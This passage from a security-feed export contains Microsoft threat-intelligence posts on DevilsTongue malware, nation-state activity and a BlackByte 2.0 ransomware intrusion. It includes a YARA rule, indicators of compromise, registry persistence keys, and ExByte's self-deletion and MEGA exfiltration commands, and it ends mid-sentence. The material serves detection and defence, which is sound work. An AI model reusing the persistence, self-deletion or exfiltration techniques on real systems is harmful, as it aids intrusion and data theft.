_WimBootConfigurations.ini _and is in a subfolder of _system32\\ime\\_. Example paths:\n\n * _C:\\Windows\\system32\\ime\\SHARED\\WimBootConfigurations.ini_\n * _C:\\Windows\\system32\\ime\\IMEJP\\WimBootConfigurations.ini_\n * _C:\\Windows\\system32\\ime\\IMETC\\WimBootConfigurations.ini_\n\nThe Physmem driver is dropped into system32:\n\n * _C:\\Windows\\system32\\drivers\\physmem.sys \n_\n\n#### Behaviors\n\nThe two COM keys that have been observed being hijacked for persistence are listed below with their default clean values. If their default value DLL is in the _\\system32\\ime\\ _folder, the DLL is likely DevilsTongue.\n\n * _HKLM\\SOFTWARE\\Classes\\CLSID\\\\{CF4CC405-E2C5-4DDD-B3CE-5E7582D8C9FA}\\InprocServer32 _= _%systemroot%\\system32\\wbem\\wmiutils.dll (clean default value_)\n * _HKLM\\SOFTWARE\\Classes\\CLSID\\\\{7C857801-7381-11CF-884D-00AA004B2E24}\\InProcServer32 = __%systemroot%\\system32\\wbem\\wbemsvc.dll (clean default value_)\n\n#### File content and characteristics\n\nThis Yara rule can be used to find the DevilsTongue hijack DLL:\n\n`import \"pe\" \nrule DevilsTongue_HijackDll \n{ \nmeta: \ndescription = \"Detects SOURGUM's DevilsTongue hijack DLL\" \nauthor = \"Microsoft Threat Intelligence Center (MSTIC)\" \ndate = \"2021-07-15\" \nstrings: \n$str1 = \"windows.old\\\\windows\" wide \n$str2 = \"NtQueryInformationThread\" \n$str3 = \"dbgHelp.dll\" wide \n$str4 = \"StackWalk64\" \n$str5 = \"ConvertSidToStringSidW\" \n$str6 = \"S-1-5-18\" wide \n$str7 = \"SMNew.dll\" // DLL original name \n// Call check in stack manipulation \n// B8 FF 15 00 00 mov eax, 15FFh \n// 66 39 41 FA cmp [rcx-6], ax \n// 74 06 jz short loc_1800042B9 \n// 80 79 FB E8 cmp byte ptr [rcx-5], 0E8h ; '\u00e8' \n$code1 = {B8 FF 15 00 00 66 39 41 FA 74 06 80 79 FB E8} \n// PRNG to generate number of times to sleep 1s before exiting \n// 44 8B C0 mov r8d, eax \n// B8 B5 81 4E 1B mov eax, 1B4E81B5h \n// 41 F7 E8 imul r8d \n// C1 FA 05 sar edx, 5 \n// 8B CA mov ecx, edx \n// C1 E9 1F shr ecx, 1Fh \n// 03 D1 add edx, ecx \n// 69 CA 2C 01 00 00 imul ecx, edx, 12Ch \n// 44 2B C1 sub r8d, ecx \n// 45 85 C0 test r8d, r8d \n// 7E 19 jle short loc_1800014D0 \n$code2 = {44 8B C0 B8 B5 81 4E 1B 41 F7 E8 C1 FA 05 8B CA C1 E9 1F 03 D1 69 CA 2C 01 00 00 44 2B C1 45 85 C0 7E 19} \ncondition: \nfilesize < 800KB and \nuint16(0) == 0x5A4D and \n(pe.characteristics & pe.DLL) and \n( \n4 of them or \n($code1 and $code2) or \n(pe.imphash() == \"9a964e810949704ff7b4a393d9adda60\") \n) \n}`\n\n### Microsoft Defender Antivirus detections\n\nMicrosoft Defender Antivirus detects DevilsTongue malware with the following detections:\n\n * _Trojan:Win32/DevilsTongue.A!dha_\n * _Trojan:Win32/DevilsTongue.B!dha_\n * _Trojan:Script/DevilsTongueIni.A!dha_\n * _VirTool:Win32/DevilsTongueConfig.A!dha_\n * _HackTool__:Win32/DevilsTongueDriver.A!dha_\n\n### Microsoft Defender for Endpoint alerts\n\nAlerts with the following titles in the security center can indicate DevilsTongue malware activity on your network:\n\n * _COM Hijacking_\n * _Possible theft of sensitive web browser information_\n * _Stolen SSO cookies__ _\n\n### Azure Sentinel query\n\nTo locate possible SOURGUM activity using Azure Sentinel, customers can find a Sentinel query containing these indicators in this [GitHub repository](<https://github.com/Azure/Azure-Sentinel/blob/master/Detections/MultipleDataSources/SOURGUM_IOC.yaml>).\n\n### Indicators of compromise (IOCs)\n\nNo malware hashes are being shared because DevilsTongue files, except for the third part driver below, all have unique hashes, and therefore, are not a useful indicator of compromise.\n\n#### Physmem driver\n\nNote that this driver may be used legitimately, but if it\u2019s seen on path _C:\\Windows\\system32\\drivers\\physmem.sys_ then it is a high-confidence indicator of DevilsTongue activity. The hashes below are provided for the one driver observed in use.\n\n * _MD5: a0e2223868b6133c5712ba5ed20c3e8a_\n * _SHA-1: 17614fdee3b89272e99758983b99111cbb1b312c_\n * _SHA-256: c299063e3eae8ddc15839767e83b9808fd43418dc5a1af7e4f44b97ba53fbd3d_\n\n#### Domains\n\n * noc-service-streamer[.]com\n * fbcdnads[.]live\n * hilocake[.]info\n * backxercise[.]com\n * winmslaf[.]xyz\n * service-deamon[.]com\n * online-affiliate-mon[.]com\n * codeingasmylife[.]com\n * kenoratravels[.]com\n * weathercheck[.]digital\n * colorpallatess[.]com\n * library-update[.]com\n * online-source-validate[.]com\n * grayhornet[.]com\n * johnshopkin[.]net\n * eulenformacion[.]com\n * pochtarossiy[.]info\n\nThe post [Protecting customers from a private-sector offensive actor using 0-day exploits and DevilsTongue malware](<https://www.microsoft.com/security/blog/2021/07/15/protecting-customers-from-a-private-sector-offensive-actor-using-0-day-exploits-and-devilstongue-malware/>) appeared first on [Microsoft Security Blog](<https://www.microsoft.com/security/blog>).", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 7.8, "privilegesRequired": "LOW", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-07-15T15:21:02", "type": "mmpc", "title": "Protecting customers from a private-sector offensive actor using 0-day exploits and DevilsTongue malware", "bulletinFamily": "blog", "cvss2": {"severity": "HIGH", "exploitabilityScore": 3.9, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 7.2, "vectorString": "AV:L/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "LOCAL", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-31979", "CVE-2021-33771"], "modified": "2021-07-15T15:21:02", "id": "MMPC:FA096F112DC9423A9C4E3850DD8721F3", "href": "https://www.microsoft.com/security/blog/2021/07/15/protecting-customers-from-a-private-sector-offensive-actor-using-0-day-exploits-and-devilstongue-malware/", "cvss": {"score": 7.2, "vector": "AV:L/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2021-10-25T16:22:21", "description": "Microsoft is proud to promote [Cybersecurity Awareness Month](<https://www.microsoft.com/en-us/securitynow>) as part of our ongoing commitment to [security for all](<https://www.microsoft.com/en-us/security/business>). Year-round, Microsoft tracks nation-state threat activities to help protect organizations and individuals from these advanced persistent actors. We\u2019re constantly improving our capabilities to bring better detections, threat context, and actor knowledge to our customers so they can improve their own defenses. To learn more about how Microsoft responds to nation-state attacks and how to defend your organization, watch the [Decoding NOBELIUM docuseries](<https://www.microsoft.com/en-us/security/business/nation-state-attacks#office-ContentAreaHeadingTemplate-hkzu7ix>). Hear directly from the frontline defenders who helped protect organizations against the most sophisticated attack in history.\n\nThe aims of nation-state cyber actors\u2014largely espionage and disruption\u2014remain consistent, along with their most reliable tactics and techniques: credential harvesting, malware, and VPN exploits. However, a common theme this year among the actors originating from China, Russia, North Korea, and Iran has been increased targeting of IT service providers as a way of exploiting downstream customers.1\n\nEarlier this month, we published the [2021 Microsoft Digital Defense Report](<https://www.microsoft.com/en-us/security/business/security-intelligence-report>) (MDDR), which provides more in-depth findings about Microsoft\u2019s tracking of nation-state threat groups, including information on the most heavily targeted sectors and countries, specific threat actors, attack methods, and more. This blog captures the high-level themes from the MDDR, and we encourage you to download the full report for additional details.\n\n## Government agencies and non-governmental organizations are favored targets\n\nWhenever an organization or individual account holder is targeted or compromised by observed nation-state activities, Microsoft delivers a nation-state notification (NSN) directly to that customer to give them the information they need to investigate the activity. Over the past three years, we\u2019ve delivered over 20,500 NSNs. According to the analysis of the actor activity behind these NSNs, nation-state attacks in the past year have largely focused on operational objectives of espionage and intelligence collection rather than destructive attacks.\n\n> _\u201cNation-state activity spans nearly every industry sector and geographic region. In other words, protections against these tactics are critical for every organization and individual.\u201d_\u20142021 Microsoft Digital Defense Report.\n\nThe [Microsoft Threat Intelligence Center](<https://www.microsoft.com/security/blog/microsoft-security-intelligence/>) (MSTIC) and the [Microsoft Digital Crimes Unit](<https://news.microsoft.com/on-the-issues/2021/04/15/how-microsofts-digital-crimes-unit-fights-cybercrime/>) (DCU) have observed that **nearly 80 percent of nation-state attacks were directed against government agencies, think tanks, and non-government organizations** (NGOs). The nation-state groups we refer to as NOBELIUM, NICKEL, THALLIUM, and PHOSPHORUS were the most active against the government sector, targeting mostly government entities involved in international affairs.\n\n![The most targeted sectors between July 2020 and June 2021 were Government \$48 percent\$ and NGOs and Think Tanks \$31 percent\$.](https://www.microsoft.com/security/blog/uploads/securityprod/2021/10/Picture1-6170a1fdb2cd7.png)\n\n_Figure 1: Sectors targeted by nation-state attacks (July 2020 to June 2021)._\n\nRussia-based cyber attackers in particular have increasingly set their sights on government targets. Year-on-year comparisons of NSN data depict a marked increase in successful compromises, from a 21 percent success rate between July 2019 and June 2020, up to 32 percent since July 2020. In turn, the percentage of government organizations targeted by Russian threat actors exploded from roughly 3 percent last year, to 53 percent since July 2020 (see figure 3).\n\n## Most-targeted countries\n\nThe United States remained the most highly targeted country in the past year. Russia-based NOBELIUM also heavily targeted Ukraine, particularly focusing on government interests involved in rallying against a build-up of Russian troops along Ukraine\u2019s border\u2014driving the number of Ukrainian customers impacted from 6 last year to more than 1,200 this year. This past year also saw a near quadrupling in the targeting of Israeli entities, driven exclusively by Iranian actors as tensions escalated between the two countries.\n\n![The most targeted countries between July 2020 and June 2021 were the United States \$46 percent\$, Ukraine \$19 percent\$, and the United Kingdom \$9 percent\$.](https://www.microsoft.com/security/blog/uploads/securityprod/2021/10/Picture2-6170a23006fb7.png)\n\n_Figure 2: Countries most targeted (July 2020 to June 2021)._\n\nMicrosoft identifies nation-state activities by chemical element names, some of which are shown in the table below, along with their countries of origin. This small sample of the total nation-state actors tracked by Microsoft represents several of the most active in the last year.\n\n![Reference map for the nation state activity groups discussed in this report, including country of origin and common targets.](https://www.microsoft.com/security/blog/uploads/securityprod/2021/10/nation-state-actors-map.png)\n\n_Figure 3: Reference map for nation-state actors._\n\n## Volume versus precision\n\nRates of successful compromises varied widely among threat groups this year. Some, such as North Korea-based THALLIUM, had a low rate of successful compromise likely because their common tactic of large-scale [spear-phishing campaigns](<https://www.microsoft.com/security/blog/2021/05/27/new-sophisticated-email-based-attack-from-nobelium/>) has become easier to detect and deter as users become increasingly aware of these lures and organizations use security solutions to detect them more effectively. Russia-based NOBELIUM, in contrast, had more successful compromises as a result of their more targeted attack against software supply chains coupled with more high-volume password spray campaigns in pursuit of credential theft. Nation-state actors appear to be increasing the scale of these blunt attacks in an attempt to evade detection and improve their chances of a successful breach. The first fiscal quarter of 2020 (July to September) saw a proportionally higher compromise rate; not necessarily because threat actors were more successful, but because we saw fewer high-volume campaigns during this time.\n\n![The targeted entities were compromised 78 percent of the time in July through September of 2020. The annual average for July 2020 through June 2021 was 28 percent.](https://www.microsoft.com/security/blog/uploads/securityprod/2021/10/Picture3-6170a4d37a0de.png)\n\n_Figure 4: Average rates of compromise (all tactics, July 2020 to June 2021)._\n\n## Snapshot: Nation-state activity\n\n### Russia\n\n[Russia-based NOBELIUM](<https://blogs.microsoft.com/on-the-issues/2021/05/27/nobelium-cyberattack-nativezone-solarwinds/>) proved how insidious software [supply chain attacks](<https://docs.microsoft.com/en-us/windows/security/threat-protection/intelligence/supply-chain-malware>) can be with its devastating compromise of the SolarWinds Orion software update.2 Although the group limited its follow-up exploitation to approximately 100 organizations, its backdoor malware was pushed to roughly 18,000 entities worldwide. In other incidents, NOBELIUM has employed password spray and phishing attacks to compromise third-party providers and facilitate future compromises. This threat actor targeted cloud solution providers (CSPs) and leveraged the backdoor to steal a Mimecast private key.3 Get the full account from world-class defenders on what it took to respond to the most advanced nation-state attack in history by watching the [Decoding NOBELIUM docuseries](<https://www.microsoft.com/en-us/security/business/nation-state-attacks#office-ContentAreaHeadingTemplate-hkzu7ix>).\n\n### China\n\nChinese nation-state threat actors have been targeting the United States political landscape for insight into policy shifts. In early March 2021, [Microsoft blogged about HAFNIUM](<https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers/>) and the detection of multiple zero-day exploits used to attack on-premises versions of [Microsoft Exchange Server](<https://docs.microsoft.com/en-us/exchange/exchange-server?view=exchserver-2019>). HAFNIUM operates primarily from leased virtual private servers in the United States and targets entities across a number of industry sectors, including infectious disease researchers, law firms, higher education institutions, defense contractors, policy think tanks, and NGOs.\n\n### Iran\n\nIran continued its streak of destructive cyberattacks against regional adversaries, including a string of ransomware attacks against Israeli entities. Iran-linked threat actor RUBIDIUM has been implicated in the Pay2Key4 and N3tw0rm5 ransomware campaigns that targeted Israel in late 2020 and early 2021. A common element in Iranian nation-state cyberattacks was the targeting of Israeli logistics companies involved in maritime transportation. Despite Tehran\u2019s less aggressive approach toward the United States in the wake of last year\u2019s election, United States entities remained Iranian threat actors\u2019 top target, comprising nearly half of the NSNs Microsoft delivered to cloud-service customers.\n\n### North Korea\n\nJust over half the NSNs Microsoft issued were for North Korea-based state actors during the last three months of 2020. The majority of the North Korean targeting was directed at consumer account targets, based on the likelihood of obtaining non-publicly available diplomatic or geopolitical intelligence. As Microsoft reported in November 2020, [ZINC and CERIUM targeted pharmaceutical companies and vaccine researchers](<https://blogs.microsoft.com/on-the-issues/2020/11/13/health-care-cyberattacks-covid-19-paris-peace-forum/>) in several countries, probably to speed up North Korea\u2019s own vaccine research. North Korea also continued to target financial companies with the intent of stealing cryptocurrency and intellectual property.6\n\n## Private sector actors supply the tools\n\nThough not nation-state actors themselves, private sector offensive actors (PSOAs) create and sell malicious cyber technologies to nation-state buyers. PSOA tools have been observed targeting dissidents, human rights defenders, journalists, and other private citizens. In December 2020, Microsoft\u2019s efforts to protect our customers led us to file an amicus brief in support of WhatsApp\u2019s case against Israel-based NSO Group Technologies.7 The brief asks the court to reject NSO Group\u2019s position that it\u2019s not responsible for the use of its surveillance and espionage products by governments. Microsoft also worked with [Citizen Lab](<https://citizenlab.ca/>) to disable malware used by Israel-based PSOA, [SOURGUM (aka Candiru)](<https://www.microsoft.com/security/blog/2021/07/15/protecting-customers-from-a-private-sector-offensive-actor-using-0-day-exploits-and-devilstongue-malware/>), which created malware and zero-day exploits (fixed in [CVE-2021-31979](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-31979>) and [CVE-2021-33771](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-33771>)) as a part of a hacking-as-a-service package sold to government agencies and other malicious actors.\n\n## Comprehensive protection starts with individuals\n\nOne thing is clear: nation-state actors are well-funded and employ techniques of tremendous breadth and sophistication. More than other adversaries, nation-state attackers will also target individuals specifically for access to their connections, communications, and information. These attackers are constantly refining their tactics and techniques; therefore, defense-in-depth strategies should include [educating employees](<https://docs.microsoft.com/en-us/microsoft-365/security/office-365-security/attack-simulation-training?view=o365-worldwide>) on how to avoid being targeted themselves. Most importantly, applying [Zero Trust principles](<https://www.microsoft.com/en-us/insidetrack/transitioning-to-modern-access-architecture-with-zero-trust>) across corporate resources helps secure today\u2019s mobile workforce\u2014protecting people, devices, applications, and data no matter their location or the scale of threats faced.\n\n## Learn more\n\nFor a deep dive into our latest information on nation-state threats, download the [2021 Microsoft Digital Defense Report](<https://aka.ms/microsoftdigitaldefensereport>) and watch the [Decoding NOBELIUM docuseries](<https://www.microsoft.com/en-us/security/business/nation-state-attacks#office-ContentAreaHeadingTemplate-hkzu7ix>). Also, look for more blog posts providing information for each themed week of Cybersecurity Awareness Month 2021. Read our latest posts:\n\n * [#BeCyberSmart: When we learn together, we\u2019re more secure together](<https://www.microsoft.com/security/blog/2021/10/04/becybersmart-when-we-learn-together-were-more-secure-together/>)\n * [How cyberattacks are changing according to new Microsoft Digital Defense Report](<https://www.microsoft.com/security/blog/2021/10/04/becybersmart-when-we-learn-together-were-more-secure-together/>)\n * [Get career advice from 7 inspiring leaders in cybersecurity](<https://www.microsoft.com/security/blog/2021/10/18/get-career-advice-from-7-inspiring-leaders-in-cybersecurity/>)\n * [Defenders wanted\u2014building the new cybersecurity professionals](<https://www.microsoft.com/security/blog/2021/10/21/defenders-wanted-building-the-new-cybersecurity-professionals/>)\n\nBe sure to visit our [Cybersecurity Awareness Month page](<https://www.microsoft.com/en-us/securitynow>) for links to additional resources and information on protecting your organization year-round. **Do your part. #BeCyberSmart**\n\nTo learn more about Microsoft Security solutions, [visit our website](<https://www.microsoft.com/en-us/security/business/solutions>). Bookmark the [Security blog](<https://www.microsoft.com/security/blog/>) to keep up with our expert coverage on security matters. Also, follow us at [@MSFTSecurity](<https://twitter.com/@MSFTSecurity>) for the latest news and updates on cybersecurity.\n\n \n\n* * *\n\n1[Awareness Briefing: Chinese Cyber Activity Targeting Managed Service Providers](<https://us-cert.cisa.gov/sites/default/files/publications/Chinese-Cyber-Activity-Targeting-Managed-Service-Providers.pdf>), Cybersecurity Infrastructure Security Agency.\n\n2[A 'Worst Nightmare' Cyberattack: The Untold Story Of The SolarWinds Hack](<https://www.npr.org/2021/04/16/985439655/a-worst-nightmare-cyberattack-the-untold-story-of-the-solarwinds-hack>), Monika Estatieva, NPR. 16 April 2021.\n\n3[Mimecast attributes supply chain attack to SolarWinds' hackers](<https://www.cybersecuritydive.com/news/mimecast-supply-chain-attack-Microsoft-365/593368/>), David Jones, Cybersecurity Dive. 14 January 2021.\n\n4[Pay2Key Ransomware Joins the Threat Landscape](<https://securityboulevard.com/2020/11/pay2key-ransomware-joins-the-threat-landscape/>), Tomas Meskauskas, Security Boulevard. 30 November 2020.\n\n5[N3TW0RM ransomware emerges in wave of cyberattacks in Israel](<https://www.bleepingcomputer.com/news/security/n3tw0rm-ransomware-emerges-in-wave-of-cyberattacks-in-israel/>), Lawrence Abrams, Bleeping Computer. 2 May 2021.\n\n6[North Korean hackers charged in massive cryptocurrency theft scheme](<https://www.cnbc.com/2021/02/17/north-korean-hackers-charged-in-massive-cryptocurrency-theft-scheme.html>), Dan Mangan, CNBC. 17 February 2021.\n\n7[Google, Cisco and VMware join Microsoft to oppose NSO Group in WhatsApp spyware case](<https://techcrunch.com/2020/12/21/google-cisco-and-vmware-join-microsoft-to-oppose-nso-group-in-whatsapp-spyware-case/>), Zack Whittaker, Tech Crunch. 21 December 2020.\n\nThe post [Microsoft Digital Defense Report shares new insights on nation-state attacks](<https://www.microsoft.com/security/blog/2021/10/25/microsoft-digital-defense-report-shares-new-insights-on-nation-state-attacks/>) appeared first on [Microsoft Security Blog](<https://www.microsoft.com/security/blog>).", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 7.8, "privilegesRequired": "LOW", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-10-25T16:00:17", "type": "mmpc", "title": "Microsoft Digital Defense Report shares new insights on nation-state attacks", "bulletinFamily": "blog", "cvss2": {"severity": "HIGH", "exploitabilityScore": 3.9, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 7.2, "vectorString": "AV:L/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "LOCAL", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-31979", "CVE-2021-33771"], "modified": "2021-10-25T16:00:17", "id": "MMPC:D57E74C98BC14F3EC05993E7DA683466", "href": "https://www.microsoft.com/security/blog/2021/10/25/microsoft-digital-defense-report-shares-new-insights-on-nation-state-attacks/", "cvss": {"score": 7.2, "vector": "AV:L/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2023-07-18T21:01:53", "description": "As ransomware attacks continue to grow in number and sophistication, threat actors can quickly impact business operations if organizations are not well prepared. In a recent investigation by Microsoft Incident Response (previously known as Microsoft Detection and Response Team \u2013 DART) of an intrusion, we found that the threat actor progressed through the full attack chain, from initial access to impact, in less than five days, causing significant business disruption for the victim organization.\n\nOur investigation found that within those five days, the threat actor employed a range of tools and techniques, culminating in the deployment of BlackByte 2.0 ransomware, to achieve their objectives. These techniques included:\n\n * Exploitation of unpatched internet-exposed Microsoft Exchange Servers\n * Web shell deployment facilitating remote access\n * Use of living-off-the-land tools for persistence and reconnaissance\n * Deployment of Cobalt Strike beacons for command and control (C2)\n * Process hollowing and the use of vulnerable drivers for defense evasion\n * Deployment of custom-developed backdoors to facilitate persistence\n * Deployment of a custom-developed data collection and exfiltration tool\n![BlackByte 2.0 ransomware attack chain by order of stages: initial access and privilege escalation, persistence and command and control, reconnaissance, credential access, lateral movement, data staging and exfiltration, and impact. ](https://www.microsoft.com/en-us/security/blog/wp-content/uploads/2023/07/BlackByte-attack-flow-diagram-1024x514.webp)Figure 1. BlackByte 2.0 ransomware attack chain\n\nIn this blog, we share details of our investigation into the end-to-end attack chain, exposing security weaknesses that the threat actor exploited to advance their attack. As we learned from Microsoft\u2019s tracking of ransomware attacks and the [cybercriminal economy](<https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself/>) that enables them, disrupting common attack patterns could stop many of the attacker activities that precede ransomware deployment. This case highlights that common security hygiene practices go a long way in preventing, identifying, and responding to malicious activity as early as possible to mitigate the impact of ransomware attacks. We encourage organizations to follow the outlined mitigation steps, including ensuring that internet-facing assets are up to date and configured securely. We also share indicators of compromise, detection details, and hunting guidance to help organizations identify and respond to these attacks in their environments. \n\n## Forensic analysis\n\n### Initial access and privilege escalation\n\nTo obtain initial access into the victim\u2019s environment, the threat actor was observed exploiting the [ProxyShell vulnerabilities](<https://techcommunity.microsoft.com/t5/exchange-team-blog/proxyshell-vulnerabilities-and-your-exchange-server/ba-p/2684705>) CVE-2021-34473, CVE-2021-34523, and CVE-2021-31207 on unpatched Microsoft Exchange Servers. The exploitation of these vulnerabilities allowed the threat actor to:\n\n * Attain system-level privileges on the compromised Exchange host\n * Enumerate LegacyDN of users by sending Autodiscover requests, including SIDs of users\n * Construct a valid authentication token and use it against the Exchange PowerShell backend\n * Impersonate domain admin users and create a web shell by using the _New-MailboxExportRequest_ cmdlet\n * Create web shells to obtain remote control on affected servers\n\nThe threat actor was observed operating from the following IP to exploit ProxyShell and access the web shell:\n\n * 185.225.73[.]244\n\n### Persistence\n\n**Backdoor**\n\nAfter gaining access to a device, the threat actor created the following registry run keys to run a payload each time a user signs in:\n\nRegistry key| Value name| Value data \n---|---|--- \nHKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run | MsEdgeMsE| rundll32 C:\\Users\\user\\Downloads\\api-msvc.dll,Default \nHKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run | MsEdgeMsE| rundll32 C:\\temp\\api-msvc.dll,Default \nHKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run | MsEdgeMsE| rundll32 C:\\systemtest\\api-system.png,Default \n \nThe file _api-msvc.dll _(SHA-256: 4a066569113a569a6feb8f44257ac8764ee8f2011765009fdfd82fe3f4b92d3e) was determined to be a backdoor capable of collecting system information, such as the installed antivirus products, device name, and IP address. This information is then sent via HTTP POST request to the following C2 channel:\n\n * _hxxps://myvisit[.]alteksecurity[.]org/t_\n\nThe organization was not using Microsoft Defender Antivirus, which detects this malware as Trojan:Win32/Kovter!MSR, as the primary antivirus solution, and the backdoor was allowed to run.\n\nAn additional file, _api-system.png_, was identified to have similarities to _api-msvc.dll_. This file behaved like a DLL, had the same default export function, and also leveraged run keys for persistence.\n\n**Cobalt Strike Beacon**\n\nThe threat actor leveraged Cobalt Strike to achieve persistence. The file _sys.exe _(SHA-256: 5f37b85687780c089607670040dbb3da2749b91b8adc0aa411fd6280b5fa7103), detected by Microsoft Defender Antivirus as Trojan:Win64/CobaltStrike!MSR, was determined to be a Cobalt Strike Beacon and was downloaded directly from the file sharing service _temp[.]sh_:\n\n * _hxxps://temp[.]sh/szAyn/sys.exe_\n\nThis beacon was configured to communicate with the following C2 channel:\n\n * 109.206.243[.]59:443\n\n**AnyDesk******\n\nThreat actors leverage legitimate remote access tools during intrusions to blend into a victim network. In this case, the threat actor utilized the remote administration tool AnyDesk, to maintain persistence and move laterally within the network. AnyDesk was installed as a service and was run from the following paths:\n\n * _C:\\systemtest\\anydesk\\AnyDesk.exe_\n * _C:\\Program Files (x86)\\AnyDesk\\AnyDesk.exe_\n * _C:\\Scripts\\AnyDesk.exe_\n\nSuccessful connections were observed in the AnyDesk log file _ad_svc.trace_ involving anonymizer service IP addresses linked to TOR and MULLVAD VPN, a common technique that threat actors employ to obscure their source IP ranges.\n\n### Reconnaissance\n\nWe found the presence and execution of the network discovery tool NetScan being used by the threat actor to perform network enumeration using the following file names:\n\n * _netscan.exe _(SHA-256:1b9badb1c646a19cdf101ac4f6fdd23bc61eaab8c9f925eb41848cea9fd0738e)\n * _netapp.exe _(SHA-256:1b9badb1c646a19cdf101ac4f6fdd23bc61eaab8c9f925eb41848cea9fd0738e)\n\nAdditionally, execution of AdFind (SHA-256: f157090fd3ccd4220298c06ce8734361b724d80459592b10ac632acc624f455e), an Active Directory reconnaissance tool, was observed in the environment.\n\n### Credential access\n\nEvidence of likely usage of the credential theft tool Mimikatzwas also uncovered through the presence of a related log file _mimikatz.log_. Microsoft IR assesses that Mimikatz was likely used to attain credentials for privileged accounts.\n\n### Lateral movement\n\nUsing compromised domain admin credentials, the threat actor used Remote Desktop Protocol (RDP) and PowerShell remoting to obtain access to other servers in the environment, including domain controllers.\n\n### Data staging and exfiltration\n\nIn one server where Microsoft Defender Antivirus was installed, a suspicious file named _explorer.exe_ was identified, detected as Trojan:Win64/WinGoObfusc.LK!MT, and quarantined. However, because tamper protection wasn\u2019t enabled on this server, the threat actor was able to disable the Microsoft Defender Antivirus service, enabling the threat actor to run the file using the following command:\n\nexplorer.exe P@$$w0rd\n\nAfter reverse engineering_ explorer.exe_, we determined it to be ExByte, a GoLang-based tool developed and commonly used in BlackByte ransomware attacks for collection and exfiltration of files from victim networks. This tool is capable of enumerating files of interest across the network and, upon execution, creates a log file containing a list of files and associated metadata. Multiple log files were uncovered during the investigation in the path:\n\n * _C:\\Exchange\\MSExchLog.log_\n\nAnalysis of the binary revealed a list of file extensions that are targeted for enumeration.\n\n![Figure-2.-Binary-analysis-showing-file-extensions-enumerated-by-explorer.exe_](https://www.microsoft.com/en-us/security/blog/wp-content/uploads/2023/07/Figure-2.-Binary-analysis-showing-file-extensions-enumerated-by-explorer.exe_.jpg)Figure 2. Binary analysis showing file extensions enumerated by _explorer.exe_\n\nForensic analysis identified a file named _data.txt_ that was created and later deleted after ExByte execution. This file contained obfuscated credentials that ExByte leveraged to authenticate to the popular file sharing platform Mega NZ using the platform\u2019s API at:\n\n * _hxxps://g.api.mega.co[.]nz_\n![](https://www.microsoft.com/en-us/security/blog/wp-content/uploads/2023/07/Figure-3.-Binary-analysis-showing-explorer.exe-functionality-for-connecting-to-file-sharing-service-MEGA-NZ.webp)Figure 3. Binary analysis showing explorer.exe functionality for connecting to file sharing service MEGA NZ\n\nWe also determined that this version of Exbyte was crafted specifically for the victim, as it contained a hardcoded device name belonging to the victim and an internal IP address.\n\n**ExByte execution flow**\n\nUpon execution, ExByte decodes several strings and checks if the process is running with privileged access by reading _\\\\\\\\.\\PHYSICALDRIVE0_:\n\n * If this check fails, _ShellExecuteW_ is invoked with the _IpOperation_ parameter _RunAs_, which runs _explorer.exe_ with elevated privileges.\n\nAfter this access check, _explorer.exe_ attempts to read the _data.txt_ file in the current location:\n\n * If the text file doesn\u2019t exist, it invokes a command for self-deletion and exits from memory:\n \n \n C:\\Windows\\system32\\cmd.exe /c ping 1.1.1.1 -n 10 > nul & Del <PATH>\\explorer.exe /F /Q\n \n\n * If _data.txt_ exists, _explorer.exe_ reads the file, passes the buffer to Base64 decode function, and then decrypts the data using the key provided in the command line. The decrypted data is then parsed as JSON below and fed for login function:\n \n \n {\n \t\u201ca\u201d:\u201dus0\u201d,\n \t\u201cuser\u201d:\u201d<CONTENT FROM data.txt>\u201d\n }\n \n\nFinally, it forms a URL for sign-in to the API of the service MEGA NZ:\n\n * _hxxps://g.api.mega.co[.]nz/cs?id=1674017543_\n\n### Data encryption and destruction\n\nOn devices where files were successfully encrypted, we identified suspicious executables, detected by Microsoft Defender Antivirus as Trojan:Win64/BlackByte!MSR, with the following names:\n\n * _wEFT.exe_\n * _schillerized.exe_\n\nThe files were analyzed and determined to be BlackByte 2.0 binaries responsible for encryption across the environment. The binaries require an 8-digit key number to encrypt files.\n\nTwo modes of execution were identified:\n\n * When the _-s_ parameter is provided, the ransomware self-deletes and encrypts the machine it was executed on.\n * When the _-a_ parameter is provided, the ransomware conducts enumeration and uses an Ultimate Packer Executable (UPX) packed version of PsExec 